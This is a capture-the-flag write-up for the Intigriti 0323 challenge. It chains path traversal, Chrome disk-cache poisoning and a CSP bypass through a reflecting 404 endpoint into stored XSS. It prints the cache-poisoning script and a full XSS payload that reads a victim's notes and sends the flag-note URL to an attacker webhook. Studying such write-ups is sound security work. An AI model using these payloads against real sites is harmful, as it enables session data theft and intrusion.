Intigriti Challenge 0323 - XSS from the Cache

lexsai | 2023-02-11

Introduction

This is my first CTF writeup. Thanks to 0xGodson_ and BrunoModificato for making this challenge.

Recon

Looking at the source code of the site, we can find this github repository containing the backend code:

<!-- We are OpenSource Now! https://github.com/0xGodson/notes-app-2.0 -->

The site, located at https://challenge-0323.intigriti.io/, is a note-taking application with basic functionality for creating and opening notes. These notes are discoverable from the /notes endpoint only with the session from which they were made. The flag is submitted to a note by a bot when you visit the /visit endpoint.

XSS

From the fact that the flag is only available from the bot, we deduce that we have to execute some XSS on the bot. So, we look for XSS sinks in the website:

1.The frontend code for /note/:id contains

window.noteContent.innerHTML = DOMPurify.sanitize(data, {FORBID_TAGS: ['style']}); // no CSS Injection

2.The backend code for /debug contains

// DEBUG Endpoints
// TODO: Remove this before moving to prod
app.get("/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/:id", (req, res) => {
    let mode = req.headers["mode"];
    if (mode === "read") {
        res.send(getPostByID(req.params.id).note);
    } else {
        return res.status(404).send("404");
    }
});

But in both endpoints there are issues with injecting an XSS. The /note/:id endpoint sanitizes the note data with the latest version of DOMPurify, so there will be no way to place an XSS there without a 0-day. Meanwhile, the /debug endpoint requires the mode: read header to get the note data reflected in the response.

Is there anywhere in the code that naturally uses a mode: read header? In fact, the frontend code for /note/:id gets the note data with:

id = params.get("id").trim().replace(/\s\r/,'');
fetch(`/note/${id}`, {
    method: 'GET',
    headers: {
        'mode': 'read'
    },
})
.then(response => {
    return response.text()
})
.then(data => {
    if (data) {
        window.noteContent.innerHTML = DOMPurify.sanitize(data, {FORBID_TAGS: ['style']}); // no CSS Injection
    } else {
        document.getElementsByClassName("msg-info")[0].innerHTML="404 😭"
        window.noteContent.innerHTML = "404 😭" 
    }
})

The value for the id variable comes from a url parameter that we can control, so we could use a path traversal attack like ../debug to make it request note data from the debug endpoint instead.

However, even if we do, DOMPurify’s sanitization is applied to the response before being set to the DOM. This is problematic, as it seems to be the only place that XSS could conceivably occur given the header requirement on /debug.

Controlling the Cache

Currently our problem is making the bot access /debug outside of /note/:id with the required mode: read header. In other words, we want the response to our request to /debug from /note/:id to be presented as is at the /debug endpoint, without sanitization. This idea of preserving a response prompts us to think about taking advantage of browser page caching.

In fact, this challenge shares a lot of similarities with a recent CTF challenge. The solution describes some useful cache behaviour:

  • Chrome has a bfcache (backwards-forwards cache) and a disk cache.
  • Both caches are used when accessing pages with backwards/forwards navigation.
  • If the bfcache and disk cache are available, the bfcache will take priority for access if a resource is cached in both.
  • The disk cache caches fetched resources.
  • The bfcache is disabled on windows opened with window.open.
  • We can clear cached versions of a particular page by receiving an error status code (like 404) from requesting that page.

First, we direct the bot to execute window.open on the /debug page. It will receive a 404, clearing any cached versions for the page and allowing us to backwards navigate to the page later. Then, we make the bot visit /note/:id and make the fetch request to /debug with mode: read. As per the cache behaviour described above, the response from /debug will be cached to the disk cache. To view the cached response, we make the bot backwards navigate to /debug. Because the window was opened with window.open, the disk cache will take priority over the disabled bfcache and our intentionally cached response will be viewed.

This explanation is more intuitive when looking at the solution script to execute the exploit:

const debugEndpoint = "/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/"
// open the debug note to get a 404, clearing previous cache
const evilWindow = window.open(`${victimHost}/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${noteId}`);
await delay(1000);

// go to /note/:id w/ path traversal id parameter and get debug note cached
evilWindow.location = `${victimHost}/note/${noteId}?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/${noteId}`;
await delay(1000);

// back.html runs history.go(-2) to backwards navigate 2 pages, accessing the cached debug note
evilWindow.location = `${location.origin}/back.html`;  
// the client is rendering the note at /debug as html!
await delay(1000);

Bypassing the CSP

But now, we must consider what we want to put in the note retrieved by /debug. If we just put <script>...</script>, we’ll find that we run into an obstacle that we’ve ignored up until now: the Content Security Policy.

app.use((req, res, next) => {
    res.setHeader(
        "Content-Security-Policy",
        "default-src 'self'; style-src fonts.gstatic.com fonts.googleapis.com 'self' 'unsafe-inline'; font-src s.gstatic.com 'self'; script-src 'self'; base-uri 'self' frame-src 'self'; frame-ancestors 'self'; object-src 'none';"
    );
    next();
});

The first reaction to encountering a CSP should be to consult google’s CSP evaluator. The evaluator points out that the self value for the script-src parameter could be problematic if the site hosts user-controlled scripts. We will try to search for such behaviour.

Looking for endpoints on the server that reflect user input, we discover that the wildcard /* endpoint reflects user input:

app.get("*", (req, res) => {
    res.setHeader("content-type", "text/plain"); // no xss)
    res.status = 404;
    try {
        return res.send("404 - " + encodeURI(req.path));
    } catch {
        return res.send("404");
    }
});

For example, if we access /abcd, we’ll get the response 404 - /abcd. But how could we store a script here?

Well, what if we started our payload with 0/;? Then the response would be 404 - /0/;, which is a valid statement in javascript (an integer minus a regex) that could be continued with additional javascript statements.

However, our input is also going to go through encodeURI(req.path). From the MDN web docs, this tells us that we will only be able to use these characters:

A–Z a–z 0–9 - _ . ! ~ * ' ( )

; / ? : @ & = + $ , #

A traditional approach here will not work as we want to execute a sequence of requests. If we want to use fetch, we will need to use the curly brackets {} or arrow brackets > at some point to declare a function (either an async function to use await fetch() within, or callback functions for .then() chaining).

However, if we instead use the synchronous XMLHttpRequest to issue the request, we do not need to declare any functions. Through this observation, we arrive at this payload to exfiltrate the url of the flag note:

/0/;const/**/r=new/**/XMLHttpRequest();r.open('GET','/notes',false);r.send(null);const/**/data=r.responseText;const/**/f=new/**/XMLHttpRequest();f.open('GET','/visit'+String.fromCharCode(0x3F)+'url=<webhook_url>/'+(new/**/DOMParser).parseFromString(data,'text/html').getElementsByTagName('a').item(0).href,false);f.send(null);

Our final payload will thus be:

<script src="/0/;const/**/r=new/**/XMLHttpRequest();r.open('GET','/notes',false);r.send(null);const/**/data=r.responseText;const/**/f=new/**/XMLHttpRequest();f.open('GET','/visit'+String.fromCharCode(0x3F)+'url=<webhook_url>'+(new/**/DOMParser).parseFromString(data,'text/html').getElementsByTagName('a').item(0).href,false);f.send(null);"></script>

Conclusion

Now we just need to:

  1. Submit this payload as a note.
  2. Direct the bot to our attacker site.
  3. From the attacker site, poison the bot’s cache and make it render our payload as HTML, exfiltrating the URL of the note with the flag.
  4. Check our webhook for the URL of the note with the flag.

Executing this process, we obtain the flag.

The flag is INTIGRITI{b4ckw4rD_f0rw4rd_c4ch3_x55_3h?}.

Thanks again to the authors 0xGodson and BrunoModificato for the interesting challenge.